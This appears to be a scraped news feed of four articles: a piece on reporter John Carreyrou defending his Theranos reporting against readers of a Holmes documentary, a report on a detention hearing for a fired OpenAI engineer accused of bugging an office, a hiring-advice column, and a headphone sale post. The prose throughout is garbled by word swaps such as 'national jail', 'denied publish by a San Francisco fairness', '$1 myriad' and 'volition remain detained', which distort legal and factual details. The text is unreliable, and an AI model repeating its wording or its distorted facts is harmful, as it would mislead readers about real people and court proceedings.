<link>https://en.mycoding.id/the-reporter-who-exposed-elizabeth-holmes-fraud-responds-to-people-who-say-he-s-missing-the-point-of-the-film-73219</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ad659bfadb77227909a7078?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ad659bfadb77227909a7078?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ad659bfadb77227909a7078?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ad659bfadb77227909a7078?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ad659bfadb77227909a7078?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6ad659bfadb77227909a7078?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6ad659bfadb77227909a7078?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="John Carreyrou speaks at the WSJ The Future of Everything Festival at Spring Studios on May 10, 2018 in New York City." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>John Carreyrou says the doc deserves its first Oscar buzz.</span> <span> <span e-name="image-source" itemprop="creditText">Michael Loccisano/Getty Images</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>John Carreyrou has seen "<a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">You Can See Everything</a>" twice.</p><p>The reporter, whose award-winning inquiry for The Wall Street Journal helped bring downward blood-testing startup Theranos, told Business Insider that he liked the documentary. It follows Elizabeth Holmes, the startup's CEO, in the 34 days before she reported to national jail in 2023.</p><p>The movie &mdash; co-directed by Nathan Fielder and Lance Oppenheim &mdash; has inspired a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">mix of reactions from viewers</a>, ranging from daze to boredom to sympathy for Holmes.</p><p>Carreyrou doesn't see that ambiguity.</p><p>"The movie is a awesome part of art, but let's not confuse that art alongside the underlying facts," he told Business Insider.</p><p>It mirrors what he's been penning on X. Carreyrou has been pushing rear on group who, he said, had accused him of "missing the point" of the movie &mdash; namely, that Holmes is unknowable.</p><p>"She went following Tyler Shultz and Erika Cheung alongside everything she had," he wrote, referring to the two business whistleblowers at the center of his 2015 story. "I was threatened alongside litigation on a regular basis for months on end. It was a ruthless cover-up of a stunning fraud, and she was at the controls."</p><div id="1792432342186" data-styles="default-width" data-embed-type="custom" data-script="https://platform.x.com/widgets.js" data-type="embed"><blockquote><p lang="en" dir="ltr">A few readers have taken me to project for &ldquo;missing the item of the film,&rdquo; which is apparently that Elizabeth Holmes is unknowable and everything is ambiguous. Here&rsquo;s my response: She went following Tyler Shultz and Erika Cheung alongside everything she had. I was threatened alongside litigation on a regular basis for months on end. It was a ruthless cover-up of a stunning fraud, and she was at the controls. Just a small environment for those who have forgotten or didn&rsquo;t prosecute the first story. By the way, I loved the film. #BestPicture, IMO.</p>&mdash; John Carreyrou (@JohnCarreyrou) <a href="https://en.mycoding.id/category/business" target="_blank" rel=" nofollow" target="_blank">October 18, 2026</a></blockquote> </div><p>He has additionally reposted a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Monday dawn interview</a> alongside Schultz, who stated that Holmes "knows that she did item wrong," and alleged that, during the film, she brought out a distinct equipment whenever she was asked to display Theranos' hardware.</p><p>The documentary does not retrace all item of the Theranos controversy or the reporting that exposed it. Instead, it puts viewers inner Holmes' residence as she insists that she was wrongly convicted.</p> <p>For audiences, it's raised bigger questions concerning performance, self-deception, and whether the film's topic can always be completely believed.</p><p>Carreyrou has told Business Insider that if audiences "have questions afterward or desire additional environment concerning the Theranos saga, I would advance them to peruse my book."</p><p>He ended his X article by saying he "loved the film." He additionally gave a nod to its first Oscar buzz.</p><p>"#BestPicture, IMO," he wrote.</p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Ben Shimkus is a newsman for the Business News desk. He writes concerning cars, transportation, retail, and jobs.&nbsp;Ben's reporting has appeared in Rolling Stone, The Verge, Automotive News, USA Today, AutoBody News, LGBTQ Nation, TopSpeed, and Out Magazine. He's additionally held personnel penning positions at The U.S. Sun and the Daily Mail. He graduated from NYU alongside a Master's in reporting in 2024.&nbsp;Email Ben at bshimkus@insider.com or communication him privately&nbsp;on Signal at bshimkus.41.&nbsp;</span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/the-reporter-who-exposed-elizabeth-holmes-fraud-responds-to-people-who-say-he-s-missing-the-point-of-the-film-73219</guid> <pubDate>Mon, 19 Oct 2026 21:30:07 +0700</pubDate> <author><![CDATA[support@mycoding.id (Ben Shimkus)]]></author> </item> <item> <title><![CDATA[Fired OpenAI engineer accused of bugging office won't be released from jail]]></title> <description><![CDATA[Fired OpenAI engineer accused of bugging office won't be released from jail. Abdulrahman Alfozan, the OpenAI engineer arrested and accused of bugging the AI startup's office, volition remain detained following a judge's decision Monday.]]></description> <media:thumbnail url="https://i.insider.com/6ad670772428f6b455813d05?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/fired-openai-engineer-accused-of-bugging-office-won-t-be-released-from-jail-73220</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ad3e4b62428f6b455813737?width=2000&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ad3e4b62428f6b455813737?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ad3e4b62428f6b455813737?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ad3e4b62428f6b455813737?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ad3e4b62428f6b455813737?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6ad3e4b62428f6b455813737?width=1300&amp;format=jpeg&amp;auto=webp 1300w, https://i.insider.com/6ad3e4b62428f6b455813737?width=2000&amp;format=jpeg&amp;auto=webp 2000w" sizes=" 1280px) 900px" alt="The Phillip Burton Federal Building and US courthouse in San Francisco." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>San Francisco's national courthouse held the detention hearing for Abdulrahman Alfozan, the arrested and fired OpenAI engineer, on Monday.</span> <span> <span e-name="image-source" itemprop="creditText">Brennan Smart/Bloomberg via Getty Images</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>A erstwhile OpenAI engineer accused of <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">bugging the AI startup's office</a> was denied publish by a San Francisco fairness on Monday, definition he'll have to mount his defence from jail.</p><p>The Justice Department arrested <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Abdulrahman Alfozan</a> on October 9 and charged him alongside using or attempting to use a equipment to obstruct oral communications. He's accused of placing a record equipment rearward a tv in an OpenAI gathering area &mdash; an FBI affidavit includes photos of the equipment wrapped in toilet paper, and a man they say is Alfozan peering rearward the TV.</p><p>On Monday, the engineer wore a yellow surgical disguise and a jail-issued orange sweatshirt to the San Francisco courthouse. Magistrate Judge Alex G. Tse prodded Alfozan's lawful squad concerning the hazard that he power not appear for a forthcoming court hearing.</p><p>Tse stated that Alfozan's spouse and son had traveled to Saudi Arabia alongside no plans to return, and went rear and onward alongside Yasin concerning a one-way ticket that Alfozan had earlier booked to the country. Tse stated that Saudi Arabia and the US do not have an extradition agreement, and expressed skepticism that he had adequate ties to the Bay Area to forestall his departure.</p><p>William Pernik, Alfozan's attorney, asserted that, fairly than being detained, Alfozan have to be fitted alongside an ankle monitor, ordered to remain home, and have limits placed on his use of technology. The attorney additionally stated Alfozan is consenting to put up "essentially all the prosperity his family has" as bond, including a approximately $1 myriad funding account.</p><p>"Everything this man has, he's consenting to surrender, and say, 'I'm not going anywhere,'" Pernik said.</p><p>Pernik and Nas Yasin, another of Alfozan's attorneys, cited his coming naturalization discussion as evidence of his local ties.</p><p>"He was weeks distant from achieving all immigrant's aspiration in this country," Pernik said.</p><p>Yasin told Tse that she learned Alfozan's spouse had obtained a short-term visitant visa to come back to the US, to assistance enhance her husband's case for ties to the Bay Area.</p> <p>Tse additionally asked Alfozan's lawful squad a slew of questions concerning his association alongside Saudi Arabia, including a dedication by the Saudi consulate to pay his association and assistance his lawful effort.</p><p>Nick Parker, an aide US attorney, appeared for the prosecution. He asserted that the danger of forfeiting a $1 myriad association wouldn't be adequate to convince Alfozan to come back if he made it out of the US, since he power be capable to acquire additional prosperity in Saudi Arabia.</p><p>"There is a genuine danger current that formerly he leaves, the case is over," Tse responded.</p><p>The fairness scheduled the case's next hearing for first November.</p><p><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">OpenAI called the record equipment </a>"sophisticated" whenever the apprehension went public, although it stated it hadn't established signs that he'd taken AI example weights, origin code, or client information. OpenAI fired Alfozan.</p><p>Alfozan's accusation carries a maximum penalty of 5 years. Pernik stated in a declaration final week that the allegations "appear entirely out of character for him."</p><p>Alfozan, 35, has a green cardstock that makes him a lawful imperishable inhabitant of the United States. He attended MIT, afterward worked at <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Facebook (now Meta)</a> from 2017 to 2023. After a stint at the engineering startup Nash Technologies, <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Alfozan joined OpenAI</a> in 2025.</p><p>FBI agents have already taken Alfozan's Saudi passport.</p><p><em>Have a tip? Contact this newsman via email at </em><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow"><em>scouncil@businessinsider.com</em></a><em>, or complete text, Signal, Telegram, or WhatsApp at 415-757-8198. Use a individual email address, a nonwork WiFi network, and a nonwork device; </em><a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel=""><em>here's our guide</em></a><em> to sharing data securely.</em></p> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Stephen is a elder tech newsman at Business Insider, covering OpenAI, Anthropic and the ecosystem about the foremost synthetic intellect companies.</span><span>Previously he covered innovation at SFGATE, and has written for The Wall Street Journal, The Information and CNBC. He studied reporting and economics at Northwestern University.</span><span>His activity has earned an SF Press Club Investigative Reporting Award and, in 2025, SPJ NorCal&rsquo;s Excellence in Journalism Award for Technology Reporting.</span><span>Stephen lives in San Francisco. Contact him via&nbsp;email at&nbsp;<a href="https://en.mycoding.id/category/business" target="_blank">scouncil@businessinsider.com</a>, or on Signal, Telegram, or WhatsApp at 415-757-8198. Use a individual email address, a nonwork WiFi network, and a nonwork device; <a href="https://en.mycoding.id/category/business" target="_blank">here's our guide to sharing data securely</a>.</span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/fired-openai-engineer-accused-of-bugging-office-won-t-be-released-from-jail-73220</guid> <pubDate>Mon, 19 Oct 2026 21:05:58 +0700</pubDate> <author><![CDATA[support@mycoding.id (Stephen Council)]]></author> </item> <item> <title><![CDATA[I Watched a Company Keep Hiring to Avoid One Difficult Conversation. Here’s How to Know When You Actually Need More People.]]></title> <description><![CDATA[I Watched a Company Keep Hiring to Avoid One Difficult Conversation. Here’s How to Know When You Actually Need More People.. Before adding headcount, use data to inform whether you need another employee or need to fix a deeper problem.]]></description> <media:thumbnail url="https://www.entrepreneur.com/wp-content/uploads/sites/2/2026/10/1792182742-hiring-only-when-you-need-people-1026-g2247766661.jpg"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/i-watched-a-company-keep-hiring-to-avoid-one-difficult-conversation-here-s-how-to-know-when-you-actually-need-more-people-73232</link> <content:encoded><![CDATA[<p> Opinions expressed by Entrepreneur contributors are their own. </p><div> <div> <h2>Key Takeaways</h2> <ul> <li>Before adding headcount, tie the decision to a particular metric, akin billable hours, open tickets or pipeline volume, that proves petition has outgrown your team&rsquo;s capacity.</li> <li>Fix unclear roles, missing processes and unaddressed achievement issues first, since hiring into anarchy spreads it.</li> </ul> </div> <p>Several years ago, I worked alongside a business that had rotate into trapped by one <a href="https://en.mycoding.id/category/technology" target="_blank" rel="" target="_self">employee</a>.</p><p>She was exceptionally fine at a fistful of crucial responsibilities. She knew the systems, the <a href="https://en.mycoding.id/category/technology" target="_blank" rel="" target="_self">customers</a> and the former of the organization. <a href="https://en.mycoding.id/category/technology" target="_blank" rel="" target="_self">Leadership</a> viewed her as indispensable. Whenever concerns concerning her behavior surfaced, the conversation ended in the identical place: They could not oversee to endure her. The issue was that nobody wanted to activity alongside her.</p><p>New workforce joined the squad and remaining inside months. Managers spent important period mediating conflict. Colleagues avoided interacting alongside her whenever possible. The institution kept engaging the disruption since she handled a few functions that nobody alternatively understood.</p> <p>Instead of addressing the matter directly, the business started <a href="https://en.mycoding.id/category/technology" target="_blank" rel="" target="_self">hiring</a> about it. They brought in assistance staff. They shifted responsibilities. They created new positions designed to decrease friction. When one resolution failed, they tried another. Every <a href="https://en.mycoding.id/category/technology" target="_blank" rel="" target="_self">new hire</a> was expected to relieve pressure, yet the force never disappeared. At several point, <a href="https://en.mycoding.id/category/technology" target="_blank" rel="" target="_self">leadership</a> established itself asking a inquiry many endeavor owners eventually confront: Why do we keep adding group without making progress?</p><p>The answer had been sitting in forefront of them the complete time. They did not have a staffing problem. They had an <a href="https://en.mycoding.id/category/technology" target="_blank" rel="" target="_self">accountability problem</a>. Before you article the job, you need to cognize whether you are facing a group problem, a systems issue or a guidance problem.</p> <h2>Diagnose the genuine issue first</h2><p>One logic endeavor owners create mediocre hiring decisions is that they treat hiring as the archetypal stage in solving a issue alternatively of the last. When a squad feels overwhelmed, the natural reply is to add capacity. Stress is real, but emphasis is not a metric. Before adding headcount, leaders need goal evidence that petition has exceeded the team&rsquo;s capability to deliver.</p><p>In my own business, we depend heavily on capability preparedness and operational metrics. We track workload, pipeline activity, client growth and billable hours. Those measurements assistance us decide whether petition really exceeds capability or whether another resolution would create a improved outcome. Without that benevolent of data, hiring decisions rotate into emotional. A director feels overwhelmed, so the business assumes the division needs another person. A squad is busy, so guidance assumes busyness equals productivity. A few deadlines slip, so the endeavor adds another tier without understanding why the activity is falling behind.</p><p>The improved inquiry is: What figure proves we need another person?</p><p>That figure volition appearance distinct in all business. It may be billable hours, open assistance tickets, revenue pipeline volume, client growth, manufacturing petition or reply times. The item is not which metric you use. The item is that the decision have to be tied to item additional dependable than a feeling. Sometimes the data volition display that you need to hire. Other times, it volition display that the improved answer is training, procedure improvement, technology, clearer ownership or a improved handoff between squad members.</p> <p>The data creates clarity. Clarity produces improved decisions.</p><h2>Stop hiring about unresolved problems</h2><p>One of the most costly habits I see in <a href="https://en.mycoding.id/category/technology" target="_blank" rel="" target="_self">growing businesses</a> is the inclination to employ about problems guidance does not desire to confront. A revenue chief struggles to clasp group <a href="https://en.mycoding.id/category/technology" target="_blank" rel="" target="_self">accountable</a>, so the business hires additional support. A client assistance employee creates battle throughout the department, so administration adds additional group to assimilate the workload. An operational procedure breaks downward repeatedly, so guidance assigns additional personnel to detect it fairly than fixing the procedure itself.</p><p>Over time, the institution accumulates layers of workarounds. Payroll grows. Reporting relationships rotate into additional complicated. Communication becomes additional difficult. Leaders discover themselves managing a larger institution without seeing meaningful betterment in performance. The first matter remains untouched.</p><p>This is one logic growth can awareness amazingly difficult. Leaders accept they are investing in solutions whenever they are really financing avoidance. Before you create a new position, ask one uncomfortable question: If I add another individual tomorrow, what specifically becomes easier?</p> <p>If the answer is vague, hiring is likely premature. If the answer is measurable, observable and connected to a particular endeavor objective, you are much additional apt to create a astute investment.</p><h2>Build the scheme before you employ into it</h2><p>Every employee brings value. Every employee additionally introduces complexity. A new employ requires onboarding, training, management, communication, feedback, innovation and integration into the existing team. They need clarity about expectations. They need defined responsibilities. They need to comprehend how their function contributes to broader endeavor objectives. When those foundations are already in place, adding a individual can accelerate growth. When those foundations are missing, the institution gains another individual trying to navigate uncertainty.</p><p>Before creating a new position, leaders should obtain a difficult appearance at the surroundings that individual volition enter. Can you plainly explain what achievement looks akin in the role? Are responsibilities documented? Do workforce comprehend who owns which outcomes? Have expectations been communicated clearly? Are achievement standards being enforced consistently? Can you acknowledge the metrics that display whether the function is succeeding?</p><p>If those questions create uncertain answers, there is activity to do before hiring.</p> <p>Strong systems create leverage. Clear expectations decrease friction. Documented processes shorten learning curves. Accountability improves execution. None of those improvements requires additional headcount. Many necessitate guidance attention.</p><p>This matters particularly whenever a endeavor is expanding quickly. Hiring into anarchy doesn&rsquo;t calm the chaos. It spreads it.</p><h2>Know whenever hiring is the correct answer</h2><p>There comes a item whenever all fit endeavor needs additional people. Growth creates demand. Demand requires capacity. Hiring have to be part of a company&rsquo;s evolution. The strongest hiring decisions happen whenever leaders comprehend exactly what issue they are solving and what achievement volition appearance akin formerly the function is filled.</p><p>A endeavor is prepared to employ whenever the activity is plainly defined, the function has a measurable intent and the institution has the capability to train the individual entering it. Hiring additionally makes awareness whenever existing workforce are consistently functioning at capacity, the petition is tied to genuine endeavor growth and procedure improvements solitary volition not resolve the gap.</p> <p>That is extremely distinct from hiring since everyone feels busy. Busy is a indication to investigate. It is not adequate by itself to validate another salary, another manager, another onboarding procedure and another tier of complexity.</p><p>Before you add headcount, obtain the period to acknowledge what is really broken. The answer may guide you toward a new hire. It may guide you toward a improved process, a clearer dashboard, a difficult achievement conversation or a handoff that should have happened months ago.</p><p>Either way, you volition create a improved decision than hiring archetypal and diagnosing later.</p> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/i-watched-a-company-keep-hiring-to-avoid-one-difficult-conversation-here-s-how-to-know-when-you-actually-need-more-people-73232</guid> <pubDate>Mon, 19 Oct 2026 21:00:00 +0700</pubDate> <author><![CDATA[support@mycoding.id (Chrissy Myers)]]></author> </item> <item> <title><![CDATA[These Sennheiser Wireless Headphones Are 32% Off Right Now]]></title> <description><![CDATA[These Sennheiser Wireless Headphones Are 32% Off Right Now. The Sennheiser Momentum 4 are motionless awesome headphones, particularly whenever they're nearly $100 off.]]></description> <media:thumbnail url="https://lifehacker.com/imagery/articles/01M5AQ6RDBTN0W9PKPWYNTTN0W/hero-image.png"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/these-sennheiser-wireless-headphones-are-32-off-right-now-73216</link> <content:encoded><![CDATA[<div class="leading-normal prose-sm m-0 line-clamp-5 font-normal">Daniel is Lifehacker's Shopping Editor covering tech deals and reviewing TVs, headphones, speakers, and projectors. He earned his master’s in reporting from Columbia University and has reported for the Miami Herald. He lives in Atlanta.</div> <hr class="custom-gradient-background my-6 h-[6px] max-w-[75px] border-0"> <p>In a market anywhere all twelvemonth there is an anticipation of releasing a new model, how lengthy tech companies obtain to awareness the need to upgrade a merchandise is a testament to how fine the merchandise is. The <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" title="open in a new window" rel="noopener">Sennheiser Momentum 4 </a>has been about since 2022, and they were lone succeeded this summer alongside the <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow sponsored" target="_blank" title="open in a new window">Sennheiser Momentum 5</a>. However, they are motionless awesome headphones, and alongside their $204.60 cost (originally $299.99) following a 32% discount, they're a awesome chance to get top-quality headphones at a additional than sensible price.</p><div class="py-6"> <a href="https://en.mycoding.id/category/technology" target="_blank" data-commerce="1" target="_blank" rel="nofollow sponsored" data-parent-group="affiliate-link" title="(opens in a new window)" class="cursor-default no-underline" data-ga-click="data-ga-click" data-ga-module="shop-card" data-ga-element="offer" data-ga-item="offer-btn" data-ga-label="Sennheiser Momentum 4 Wireless Headphones"> <div class="px-8"> <div class="grow"> <div class="leading-6">Sennheiser Momentum 4 Wireless Headphones </div> <div class="mt-2">ANC, 60 Hr Battery, White | Sennheiser Signature Sound, Adaptive Noise Cancellation Plus Transparency Mode </div> <div class="justify-between"> <div class="self-end"> <div class="justify-center"><div class=" font-sans leading-4 text-black"> <div class="justify-start"> <span class="font-bold"> $204.60 <span class="font-medium">at Amazon</span> </span> </div> <div class="justify-start"> <span class="text-sm line-through">$299.99</span> <span class="text-sm text-brand-green">Save $95.39</span> </div> </div> </div> </div> <div class="w-44 self-end"> Get Deal </div> </div> </div> <div class="hidden"> <div class="flex aspect-video items-center justify-center"> <img class="m-0 max-h-full max-w-full rounded-md" src="https://lifehacker.com/imagery/articles/01M5AQ6RDBTN0W9PKPWYNTTN0W/images-2.fill.size_autoxauto.v1792437360.jpg" alt="Sennheiser Momentum 4 Wireless Headphones" width="auto" height="auto" loading="lazy"> </div> </div> <div class="flex"> <div class="flex aspect-video items-center justify-center"> <img class="m-0 max-h-full max-w-full rounded-md" src="https://lifehacker.com/imagery/articles/01M5AQ6RDBTN0W9PKPWYNTTN0W/images-2.fill.size_autoxauto.v1792437360.jpg" alt="Sennheiser Momentum 4 Wireless Headphones" width="auto" height="auto" loading="lazy"> </div> </div> <div class="grow-0"> <div class="mt-4 w-full"> Get Deal </div> <div class="mx-2 mt-4 w-full"> <div class=" font-sans leading-4 text-black"> <div class="justify-start"> <span class="font-bold"> $204.60 <span class="font-medium">at Amazon</span> </span> </div> <div class="justify-start"> <span class="text-sm line-through">$299.99</span> <span class="text-sm text-brand-green">Save $95.39</span> </div> </div> </div> </div> </div> </a></div> <p>The Momentum 4 competes alongside another flagships from its time, including the Sony 1000XM5 and the Bose QuietComfort 45, in conditions of comfort, design, audio quality, and another features. The Momentum 4 has a additional bass-forward audio compared to its competition, but it's motionless balanced. The biggest con is that you don't have complete EQ control, lone being capable to choose certain presets from the Momentum app. The ANC is great, but not a equivalent compared to the Sony and Bose competition. Where it does attack its competition is alongside the codecs it supports, including AAC, AptX, AptX Adaptive, and SBC <a href="https://en.mycoding.id/category/technology" target="_blank" target="_self" title="open in a new window" rel="noopener">codecs</a>. This method improved audio norm for Android devices than the Sony or Bose options. </p><div class="py-0" data-ga-click data-ga-template="Deals" data-ga-module="openweb_widget" data-ga-element="openweb_scroll" data-ga-item="openweb_scroll_midpage" x-data="&#039;, e); } } }" x-init="fetchCommentsCount()" x-cloak> <div class="absolute top-1/2 hidden w-full -translate-y-1/2 border-t-[1.5px] border-dashed border-black sm:block"></div> <div class="relative flex justify-center"> <div class="flex max-w-fit items-center gap-x-3 bg-white px-5"> <div class="relative"> <span class="absolute left-1/2 top-1/2 -translate-x-1/2 -translate-y-1/2 font-akshar text-sm font-medium text-black" aria-live="polite" x-show="hasComments" x-text="commentsCount"></span> <svg class="h-8 w-8 text-black" role="img" aria-hidden="true"> </svg> </div> <span class="text-sm font-medium text-black"> What do you think so far? </span> </div> </div> </div> <p>The power division is powerful, reaching concerning 60 hours of beverage at mid-level. It additionally has a 3.5mm audio cable, so you can use it wired. The microphone is ideal for making calls, alongside four-MEMS-mics assisting create your sound remain out equal in noisy environments. You can see additional features from the <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" title="open in a new window" rel="noopener">Momentum 4 in PCMag's "excellent" review</a>. If you're looking for a agreement on an established flagship headphone example without having to pay the premium in 2026, the <a href="https://en.mycoding.id/category/technology" target="_blank" target="_blank" title="open in a new window" rel="noopener">Sennheiser Momentum 4</a> are a awesome brace to consider.</p><div class="left-1/2 md:w-[780px] md:max-w-max md:-translate-x-1/2" x-data=" false }"> <div class="text-left"> <div class="rounded-tl-none"> <div class="rounded-tl-none"> <span class="text-2xl">Our Best Editor-Vetted Tech Deals Right Now</span> <div class="text-base"> <div x-show="1 || showAll"> <a href="https://en.mycoding.id/category/technology" target="_blank" data-commerce="1" target="_blank" rel="nofollow sponsored" data-parent-group="affiliate-link" title="(opens in a new window)" class="text-brand-green-700" data-ga-click="data-ga-click" data-ga-item="offer-group-item" data-ga-label="Apple AirPods Pro 3 Noise Cancelling Heart Rate Wireless Earbuds" data-ga-element="offer" data-ga-module="offer-group" data-ga-position="1"> Apple AirPods Pro 3 Noise Cancelling Heart Rate Wireless Earbuds </a> <span class="text-black"> — <span class="font-bold">$199.00</span> <span class="!text-sm"> (List Price $249.00) </span> </span> </div> <div x-show="1 || showAll"> <a href="https://en.mycoding.id/category/technology" target="_blank" data-commerce="1" target="_blank" rel="nofollow sponsored" data-parent-group="affiliate-link" title="(opens in a new window)" class="text-brand-green-700" data-ga-click="data-ga-click" data-ga-item="offer-group-item" data-ga-label="Apple HomeView Smart Display (Silver, 2026 Release)" data-ga-element="offer" data-ga-module="offer-group" data-ga-position="2"> Apple HomeView Smart Display (Silver, 2026 Release) </a> <span class="text-black"> — <span class="font-bold">$299.00</span> <span class="!text-sm"> (List Price $299.00) </span> </span> </div> <div x-show="1 || showAll"> <a href="https://en.mycoding.id/category/technology" target="_blank" data-commerce="1" target="_blank" rel="nofollow sponsored" data-parent-group="affiliate-link" title="(opens in a new window)" class="text-brand-green-700" data-ga-click="data-ga-click" data-ga-item="offer-group-item" data-ga-label="Apple TV 4K 4th Gen 128GB Streaming Player (Pre-Order)" data-ga-element="offer" data-ga-module="offer-group" data-ga-position="3"> Apple TV 4K 4th Gen 128GB Streaming Player (2026 Model) </a> <span class="text-black"> — <span class="font-bold">$289.99</span> <span class="!text-sm"> (List Price $299.00) </span> </span> </div> <div x-show="1 || showAll"> <a href="https://en.mycoding.id/category/technology" target="_blank" 